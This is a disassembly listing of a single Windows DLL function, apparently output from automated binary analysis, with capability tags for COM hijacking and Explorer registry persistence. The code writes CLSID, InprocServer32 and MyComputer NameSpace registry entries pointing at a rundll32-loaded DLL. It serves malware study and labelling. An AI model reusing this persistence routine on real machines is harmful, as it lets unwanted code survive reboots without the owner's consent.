Function at 0x10003150
Capabilities:
Get common file path
Link many functions at runtime
Persist via com hijack
Persist via explorer tools registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x924
mov eax, dword [0x10022008]
xor eax, esp
mov dword [esp + 0x920], eax
push ebx
push esi
mov esi, dword [sym.imp.ole32.dll_StringFromGUID2]
lea eax, [esp + 0x20c]
push edi
push 0x40
push eax
push 0x1001eec0
call esi
push 0x40
lea eax, [esp + 0x294]
push eax
push 0x1001eeb0
call esi
push str.mainkey
push str.WIN_Clear
lea eax, [esp + 0x74]
push str.Software_s_s
push eax
call fcn.100014c0
cmp dword [esp + 0x90], 8
lea eax, [esp + 0x7c]
lea ecx, [esp + 0x48]
cmovae eax, dword [esp + 0x7c]
add esp, 0xc
push eax
call section..text
sub esp, 0x10
xor eax, eax
mov ecx, esp
push eax
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 7
push 0x1001efe8
mov word [ecx], ax
call fcn.10001170
lea ecx, [esp + 0x50]
call fcn.10001320
add esp, 0x18
lea eax, [esp + 0x38]
lea ecx, [esp + 0x20]
push eax
call fcn.100016d0
push 0x1001eabc
lea ecx, [esp + 0x3c]
call fcn.10001650
push str.WinClear.exe
lea ecx, [esp + 0x3c]
call fcn.10001650
push 0x1001f008
lea ecx, [esp + 0x3c]
call fcn.10001650
push 0x1001eabc
lea ecx, [esp + 0x24]
call fcn.10001650
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push 0x1001ec00
mov dword [esp + 0x14], 0
call edi
mov ebx, eax
mov dword [esp + 0x14], ebx
test ebx, ebx
je 0x100032e4
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.GetNativeSystemInfo
push ebx
call esi
push str.IsWow64Process
push ebx
mov dword [esp + 0x24], eax
call esi
push str.Wow64DisableWow64FsRedirection
push ebx
call esi
push str.Wow64RevertWow64FsRedirection
push ebx
call esi
push str.GetSystemWow64DirectoryW
push ebx
call esi
push str.advapi32.dll
call edi
mov edi, eax
mov dword [esp + 0x10], edi
test edi, edi
je 0x100032b7
push str.RegDisableReflectionKey
push edi
call esi
push str.RegEnableReflectionKey
push edi
call esi
mov eax, dword [esp + 0x1c]
test eax, eax
je 0x100032e4
lea ecx, [esp + 0x84]
push ecx
call eax
mov ax, word [esp + 0x84]
cmp ax, 9
je 0x100032dd
cmp ax, 6
jne 0x100032e4
mov ecx, 1
jmp 0x100032e6
xor ecx, ecx
test ecx, ecx
mov edx, str.WinDoc32.dll
mov eax, str.WinDoc64.dll
lea ecx, [esp + 0x20]
cmove eax, edx
push eax
call fcn.10001650
push 0x104
lea eax, [esp + 0x724]
push eax
push dword [0x10023708]
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
cmp dword [esp + 0x34], 8
lea eax, [esp + 0x20]
push 0x1001f048
cmovae eax, dword [esp + 0x24]
push eax
lea eax, [esp + 0x5c]
push str.rundll32.exe___s___s
push eax
call fcn.100014c0
lea eax, [esp + 0x220]
mov dword [esp + 0x60], 0xa0010020
mov dword [esp + 0xc0], eax
add esp, 0x10
cmp dword [esp + 0x4c], 8
mov dword [esp + 0xc8], eax
mov dword [esp + 0xe0], eax
mov dword [esp + 0xf8], eax
mov dword [esp + 0x110], eax
mov dword [esp + 0x128], eax
mov dword [esp + 0x140], eax
mov dword [esp + 0x158], eax
lea eax, [esp + 0x38]
cmovae eax, dword [esp + 0x38]
mov dword [esp + 0x160], eax
lea eax, [esp + 0x210]
mov dword [esp + 0x170], eax
lea eax, [esp + 0x20]
mov dword [esp + 0xa8], VariantClear
mov dword [esp + 0xac], str.SoftwareClassesCLSID_s
mov dword [esp + 0xb4], 0
mov dword [esp + 0xb8], 0x1001eb1c
mov dword [esp + 0xbc], 1
mov dword [esp + 0xc0], VariantClear
mov dword [esp + 0xc4], str.SoftwareClassesCLSID_s
mov dword [esp + 0xcc], str.InfoTip
mov dword [esp + 0xd0], 0x1001f0e0
mov dword [esp + 0xd4], 1
mov dword [esp + 0xd8], VariantClear
mov dword [esp + 0xdc], str.SoftwareClassesCLSID_s
mov dword [esp + 0xe4], str.LocalizedString
mov dword [esp + 0xe8], 0x1001eb1c
mov dword [esp + 0xec], 1
mov dword [esp + 0xf0], VariantClear
mov dword [esp + 0xf4], str.SoftwareClassesCLSID_s
mov dword [esp + 0xfc], str.System.ItemAuthors
mov dword [esp + 0x100], 0x1001f0e0
mov dword [esp + 0x104], 1
mov dword [esp + 0x108], VariantClear
mov dword [esp + 0x10c], str.SoftwareClassesCLSID_s
mov dword [esp + 0x114], str.TileInfo
mov dword [esp + 0x118], str.prop:System.ItemAuthors
mov dword [esp + 0x11c], 1
mov dword [esp + 0x120], VariantClear
mov dword [esp + 0x124], str.SoftwareClassesCLSID_sInprocServer32
mov dword [esp + 0x12c], 0
mov dword [esp + 0x130], 0x1001f1d4
mov dword [esp + 0x134], 1
mov dword [esp + 0x138], VariantClear
mov dword [esp + 0x13c], str.SoftwareClassesCLSID_sInprocServer32
mov dword [esp + 0x144], str.ThreadingModel
mov dword [esp + 0x148], str.Apartment
mov dword [esp + 0x14c], 1
mov dword [esp + 0x150], VariantClear
mov dword [esp + 0x154], str.SoftwareClassesCLSID_sDefaultIcon
mov dword [esp + 0x15c], 0
mov dword [esp + 0x164], 1
mov dword [esp + 0x168], VariantClear
mov dword [esp + 0x16c], str.SoftwareClassesCLSID_sShell
mov dword [esp + 0x174], 0
cmp dword [esp + 0x34], 8
lea esi, [esp + 0xac]
mov dword [esp + 0x17c], 1
cmovae eax, dword [esp + 0x20]
cmp dword [esp + 0x68], 8
mov dword [esp + 0x178], eax
lea eax, [esp + 0x210]
mov dword [esp + 0x188], eax
mov dword [esp + 0x1a0], eax
lea eax, [esp + 0x54]
cmovae eax, dword [esp + 0x54]
xor edi, edi
mov dword [esp + 0x1a8], eax
xor ebx, ebx
lea eax, [esp + 0x210]
mov dword [esp + 0x180], VariantClear
mov dword [esp + 0x1b8], eax
lea eax, [esp + 0x50]
mov dword [esp + 0x1c0], eax
lea eax, [esp + 0x290]
mov dword [esp + 0x184], str.SoftwareClassesCLSID_sShellDelete
mov dword [esp + 0x18c], 0
mov dword [esp + 0x190], 0x1001f2f0
mov dword [esp + 0x194], 1
mov dword [esp + 0x198], VariantClear
mov dword [esp + 0x19c], str.SoftwareClassesCLSID_sShellDeleteCommand
mov dword [esp + 0x1a4], 0
mov dword [esp + 0x1ac], 1
mov dword [esp + 0x1b0], VariantClear
mov dword [esp + 0x1b4], str.SoftwareClassesCLSID_sShellFolder
mov dword [esp + 0x1bc], str.Attributes
mov dword [esp + 0x1c4], 4
mov dword [esp + 0x1c8], VariantClear
mov dword [esp + 0x1cc], str.SoftwareClassesCLSID_s
mov dword [esp + 0x1d0], eax
mov dword [esp + 0x1d4], 0
mov dword [esp + 0x1d8], 0x1001eb1c
mov dword [esp + 0x1dc], 1
mov dword [esp + 0x1e0], VariantClear
mov dword [esp + 0x1e4], str.SoftwareClassesCLSID_sInprocServer32
mov dword [esp + 0x1e8], eax
mov dword [esp + 0x1ec], 0
mov dword [esp + 0x1f0], 0x1001f1d4
mov dword [esp + 0x1f4], 1
mov dword [esp + 0x1f8], VariantClear
mov dword [esp + 0x1fc], str.SoftwareClassesCLSID_sInprocServer32
mov dword [esp + 0x200], eax
mov dword [esp + 0x204], str.ThreadingModel
mov dword [esp + 0x208], str.Apartment
mov dword [esp + 0x20c], 1
mov dword [esp + 0x18], 0
nop dword [eax]
cmp ebx, 0xf
jae 0x10003978
push dword [esi + 4]
lea eax, [esp + 0x51c]
push dword [esi]
push 0x104
push eax
call fcn.10001ae0
mov edi, eax
add esp, 0x10
test edi, edi
js 0x10003810
push 0
lea eax, [esp + 0x1c]
push eax
push 0
push 0x20006
push 0
push 0
push 0
lea eax, [esp + 0x534]
push eax
push dword [esi - 4]
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x1000380b
mov eax, dword [esi + 0x10]
cmp eax, 1
jne 0x100037e6
lea eax, [esp + 0x720]
push eax
push dword [esi + 0xc]
lea eax, [esp + 0x318]
push 0x104
push eax
call fcn.10001ae0
mov edi, eax
add esp, 0x10
test edi, edi
js 0x100037ff
lea eax, [esp + 0x310]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea eax, [eax*2 + 2]
push eax
lea eax, [esp + 0x314]
push eax
push 1
jmp 0x100037f0
cmp eax, 4
jne 0x100037ff
push eax
push dword [esi + 0xc]
push eax
push 0
push dword [esi + 8]
push dword [esp + 0x2c]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [esp + 0x18]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x10003810
mov edi, 0x80040201
inc ebx
add esi, 0x18
test edi, edi
jns 0x10003740
call sym.SoftDocvw.dll_DllUnregisterServer
mov edx, dword [esp + 0x68]
cmp edx, 8
jb 0x1000385d
mov ecx, dword [esp + 0x54]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x10003853
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10003ac2
push edx
push ecx
call fcn.10006530
add esp, 8
mov esi, dword [sym.imp.KERNEL32.dll_FreeLibrary]
xor eax, eax
mov word [esp + 0x54], ax
mov eax, dword [esp + 0x14]
mov dword [esp + 0x64], 0
mov dword [esp + 0x68], 7
test eax, eax
je 0x10003885
push eax
call esi
mov eax, dword [esp + 0x10]
test eax, eax
je 0x10003890
push eax
call esi
mov edx, dword [esp + 0x34]
cmp edx, 8
jb 0x100038cc
mov ecx, dword [esp + 0x20]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x100038c2
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10003ac2
push edx
push ecx
call fcn.10006530
add esp, 8
mov edx, dword [esp + 0x4c]
xor eax, eax
mov dword [esp + 0x30], 0
mov dword [esp + 0x34], 7
mov word [esp + 0x20], ax
cmp edx, 8
jb 0x1000391f
mov ecx, dword [esp + 0x38]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x10003915
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10003ac2
push edx
push ecx
call fcn.10006530
add esp, 8
mov edx, dword [esp + 0x80]
xor eax, eax
mov dword [esp + 0x48], 0
mov dword [esp + 0x4c], 7
mov word [esp + 0x38], ax
cmp edx, 8
jb 0x10003aab
mov ecx, dword [esp + 0x6c]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x10003aa1
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10003ac2
jmp 0x10003aa1
test edi, edi
js 0x1000381c
lea eax, [esp + 0x210]
mov edi, 0x80040201
push eax
push str.SoftwareMicrosoftWindowsCurrentVersionExplorerMyComputerNameSpace_s
lea eax, [esp + 0x520]
push 0x104
push eax
call fcn.10001ae0
add esp, 0x10
test eax, eax
js 0x1000381c
push 0
lea eax, [esp + 0x1c]
push eax
push 0
push 0x20006
push 0
push 0
push 0
lea eax, [esp + 0x534]
push eax
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x1000381c
lea ecx, [esp + 0x310]
mov esi, 0x1001eb1c
mov eax, ecx
mov edx, 0x104
sub esi, eax
lea eax, [edx + 0x7ffffefa]
test eax, eax
je 0x10003a11
movzx eax, word [esi + ecx]
test ax, ax
je 0x10003a11
mov word [ecx], ax
add ecx, 2
sub edx, 1
jne 0x100039f3
test edx, edx
lea eax, [ecx - 2]
mov edi, 0x8007007a
cmovne eax, ecx
xor ecx, ecx
mov word [eax], cx
xor eax, eax
test edx, edx
cmovne edi, eax
je 0x1000381c
lea eax, [esp + 0x310]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea eax, [eax*2 + 2]
push eax
lea eax, [esp + 0x314]
push eax
push 1
push 0
push 0
push dword [esp + 0x2c]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [esp + 0x18]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [esp + 0x1c]
push eax
push 0x11
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderLocation]
test eax, eax
js 0x10003821
push 0
push dword [esp + 0x20]
push 0
push 0x1000
call dword [sym.imp.SHELL32.dll_SHChangeNotify]
push dword [esp + 0x1c]
call dword [sym.imp.ole32.dll_CoTaskMemFree]
jmp 0x10003821
push edx
push ecx
call fcn.10006530
add esp, 8
mov ecx, dword [esp + 0x92c]
mov eax, edi
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.1000651f
mov esp, ebp
pop ebp
ret
call fcn.1000a399
int3